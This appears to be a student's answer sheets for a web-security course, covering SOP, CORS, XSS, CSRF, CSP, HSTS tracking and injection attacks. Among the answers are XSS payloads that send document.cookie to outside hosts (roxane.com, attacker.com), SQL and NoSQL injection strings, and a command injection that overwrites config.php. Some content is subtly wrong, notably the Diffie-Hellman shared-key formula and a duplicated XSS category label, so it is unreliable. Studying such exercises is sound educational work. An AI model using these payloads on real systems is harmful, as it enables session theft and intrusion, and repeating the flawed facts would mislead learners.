Exercises

Sheet 01

Attacker Types

• Network Attacker
  • The network attacker is the most powerful attacker and can read and/or write to the network traffic.
  • Solution: Disturb confidentiality, authenticity and integrity.
• Remote Attacker
  • The remote attacker attacks a remote entity, usually the server. He uses code injections.
  • Solution: Compromise system + extract information
• Web Attacker
  • The Web attacker or “man-in-the-browser” performs actions from the user’s browser like creating requests, stealing sensitive data or tracking.
  • Solution: Target the user
• Social Engineering Attacker
  • The social engineering attacker tricks the user into performing actions she doesn’t want to perform.
  • Solution: Attack confidentiality

Cookies

Set-Cookie: LEC=123; Domain=secure.example.com; Path=/path/; HttpOnly; Secure

1. 1
2. 1, 2, 3
3. None
4. 1, 2, 3

Javascript

• The onerror handler executes immediately. The onload handler executes when the image is loaded.
• Closure: “Hello Bob”
• Scoping: “awesome”
• Hoisting: “value”
• Hoisting: Function definitions are moved up to the beginning. a = “awesome” is applied to function and not to outer value.

Sheet 02

Cookies II

1. Yes
2. Yes
3. No
4. No

Same-Origin Policy

• 2.1
  • SOP enforces that only scripts from the same origin may communicate. Exceptions are that embedding resources (img, script, link, …) is allowed and writing is also allowed (send requests to other origins)
• 2.2
  1. No
  2. No
  3. Yes
  4. No
• 2.3 Domin Relaxation
  • 2.3.1
    1. “first A: 42, B: 23”
    2. “second A: 42, C: 17”
    3. “third A: undefined, A: 99”
  • 2.3.2
    1. “B: undefined”
    2. “second A: undefined, C: undefined”
    3. “A: 42”
  • 2.3.3
    • Yes. Access from frames is not permitted
• 2.4 CORS
  • 2.4.1
    • Preflight required (credentials)
    • Access-Control-Allow-Origin: https://www.example.com
    • Access-Control-Allow-Credentials: true
  • 2.4.2
    • Not secure
    • Site must start with roxanetwo.com, e.g. roxanetwo.com.malicious.com

Sheet 3

Web Messaging

• 1.1
  • verysecrettoken
• 1.2 Review:
  • roxanetwo answers messages from all origins as long as the message is “send_data”
  • roxanetwo sends to all listening origins
  • Token is not secret
• 1.3 Fix:
  • postMessage(message , "http://roxanetwo.com");
  • partner_websites.find(event.origin) !== -1
  • source.postMessage(very_secret, event.origin)
• 1.4 Bob:
  • Yes, suggestion is secure

Flash Cross-Domain Access

• a.net
• b.net
• Trick: website is not part of valid crossdomain.xml

Exercise 3

XSS: echo "content".$GET['content']."unavailable";

<script>var c = btoa(document.cookie);document.write("<iframe src='http://roxane.com?c=" + c + "'></iframe>")</script>

Sheet 04 - XSS

• 1.1
  • Persistent server-side
    • Server stores malicious code (e.g., database) and executes them. Every user affected.
  • Reflected server-side
    • User uses malicious link. Malicious code is transferred using a request parameters like a cookie, get/post parameters or form fields
  • Persistent client-side
    • Code is stored on client side, like cookies, WebStorage, LocalStorage and executed
  • Reflected server-side
    • Client-JavaScript reflects malicious code. Code must not be sent to server (like fragment header)
• 1.2
  • 1: Server-side Reflected
  • 2: Server-side Persistent
  • 3: Server-side Persistent
  • 4: Client-side Reflected

Solutions:

1)
");var c=btoa(document.cookie);var i=document.createElement("img");i.src="http://attacker.com?c="+c;document.appendChild(i);//

htmlentities($_POST['name'])

2)
" onerror="alert(1)

Fix: Allow letters

3)
" ononerrorerror="alert(1)

Fix: Allow letters

4)
<URL>#');alert('1

Fix: Do not use eval. store chapter in cookie as number.

Sheet 05

CSP

Content-Security-Policy: default-src 'self'; script-src 'self' unsafe-eval; report-to 'http://csp-report.example.com'

Content-Security-Policy: script-src 'nonce-S3CR3T'; sandbox;

Content-Security-Policy: frame-ancestors 'none'; script-src sh256-c1f8361804815eb89f53a8bbbd6658cad6a397aeaedb27c1148943799cba6f4d

Content-Security-Policy: script-src 'self' strict-dynamic; (impossible?)

<table><tr><th>');alert('1</td></tr></table>

CSRF

• 2.1
  • CSRF (Cross-Site Request Forgery) exploits trust of server in the browser of the user.
  • An attacker can send arbitrary HTTP requests from the user’s browser, including cookies.
  • The attacker can use the users session and perform malicious tasks.
• 2.2
  • 1: No, CSRF token must be random and must be checked on server side
  • 2: No, not sufficiently. CSRF token is not random, attacker could guess
  • 3: No, if user has disabled JavaScript, the attacker can still do CSRF. Problem: Client-side checking

Sheet 06

XSS/CSRF

1) Vulnerable: HTTP Referer can be set by attacker
e.g., Flash allows setting arbirary referer headers 

2) Safe, value of cookie can't be read and its random

3) No, XSS possible
a='/><script>alert(1)</script><span style='

XSSI

<script>
	Array.prototype.forEach = function(callback) {
		console.log(this);
		console.log(arguments.callee.caller);
	};
</script>
<script src="fourth.js/">

<script>
	var secureLibrary = {};
	secureLibrary.isCorrect = function(pw) {
		console.log(pw);
		console.log(arguments.callee.caller);
	};
</script>
<script src="fourth.js/">

<script>
	function pretty_print_user() {
		console.log(first_name);
		console.log(last_name);
		console.log(window.email);
	}
	NOT REQUIRED
</script>
<script src="fourth.js/">

HSTS

HTTP Strict Transfer Security is a HTTP header set by the server. It tells the browser to connect to the site only via HTTPS. This setting is stored in the browser.

For HSTS tracking is a server required with \( n \) different subdomains. The server sends for each subdomain a HSTS header. A tracking site generates a random user ID. This ID is encoded in a \( n \) length bit string. For each 1 in the bit string, the tracking site makes a HTTP requests to the subdomain. The subdomain corresponds to the position of the 1 in the bit string (e.g., 24 -> 24.attacker.org/set). The server receives as HSTS header for each of this subdomain. This is the storing the ID.

For re-identifying the user, the tracker site sends HTTP requests to all subdomains (/get). The tracker allows the site to read the answer (CORS). The tracker site now can decode the ID from the IDs which were stated in HTTPS. The server may not set an HSTS header for these requests. The server sends the information, that the requests was done using HTTPS.

Sheet 07 - Injection Attacks

• 1.1
  • Main Problem: Mixing of code and data
• 1.2
  • 1: Vulnerable
    • GET /exercise_07/first.php HTTP/1.0
    • Host: http://roxane.com
    • Cookie: usertoken=' OR 1;//
  • 2: Problem: Two injection-points
    • username=\\
    • password= OR 1;//
  • 3: Problem: Client-side sanitization
    • Disable JavaScript
    • username=' OR 1 LIMIT 1;//
    • password=
• 1.3
  • Uses parsing behavior of PHP GET parameters
  • Uses behavior of NoSQL DB
  • Normally: password=abc => 'password' => 'abc'
  • password[$regex]=>. => `’password’ => [‘$regex’: ‘.’]

Sheet 09

Code Execution Flaws

timestamp='; echo '<?php `$ ADMIN_USER=\'X\';  $`ADMIN_PWD=\'X\'; ?>' > config.php;'
username=X
password=X

filename=config.php

Misc

• 2.1
  • Programming languages may call after deserialization some functions on the deserialized object.
  • Providing an serialized object with an overwritten, malicious function can inject arbitrary code into the server.
• 2.2
  • Template Engines support logic inside the template.
  • Template injection may inject attacker-controllable data into the template, which is then rendered.
  • Attacker can therefore control the execution/rendering of the template.

Sheet 10

Assorted Server Side Issues

• Vulnerability: Execution After Redirect
  • username=<username>
  • No injection possible due to the use of prepared statements (assuming that there is not bug inside the implementation of pg_execute)
  • Arbitrary user can delete other users
  • Fix:
    • die() after header setting
    • Move admin-code into admin-if-block
• Problem: Server initiates request
  • Attack: Print /etc/shadow
  • Fix: Whitelist pages

Misc

• HTTP Parameter Pollution abused the parsing rules of the server side. Providing multiple parameters with the same name, the server side applications may interpret the parameters differently. e.g., access control may be checked on first parameter while the action is build upon the second parameter
• DNS rebinding abuses the SOP by exploiting the binding between hostnames and IP addresses. An Attacker may provide a DNS record with a low TTL and a malicious website, performing a request to the same hostname (which is SOP-conform) but re-aquiring a new IP. The attacker’s DNS server now sends an IP which is behind the victim’s firewall. The script now accesses computers in the local network, e.g. routers. A fix is IP address pinning (providing a minimal TTL) or the extended SOP.
• HTTP Header Injection occurs when the server builds HTTP Response headers with user input. Injecting line breaks and a response-part before the actual response follows may attack the user. This is called HTTP Response Splitting. Also attacks are Session Fixation.
• An ephemeral key is a key with a (small) lifetime. It is not used often (perfectly only once) and may provide forward secrecy. Key is based on context of single key exchange.
• DH:
  • Two parties agree on generator g and prime p
  • Each party selects a (prime) secret key
  • \( K_a=g^a \mod p \) and \( K_b=g^b \mod p \)
  • They exchange the two keys
  • \( K_{pub}=g^{K_a} mod p \) is shared key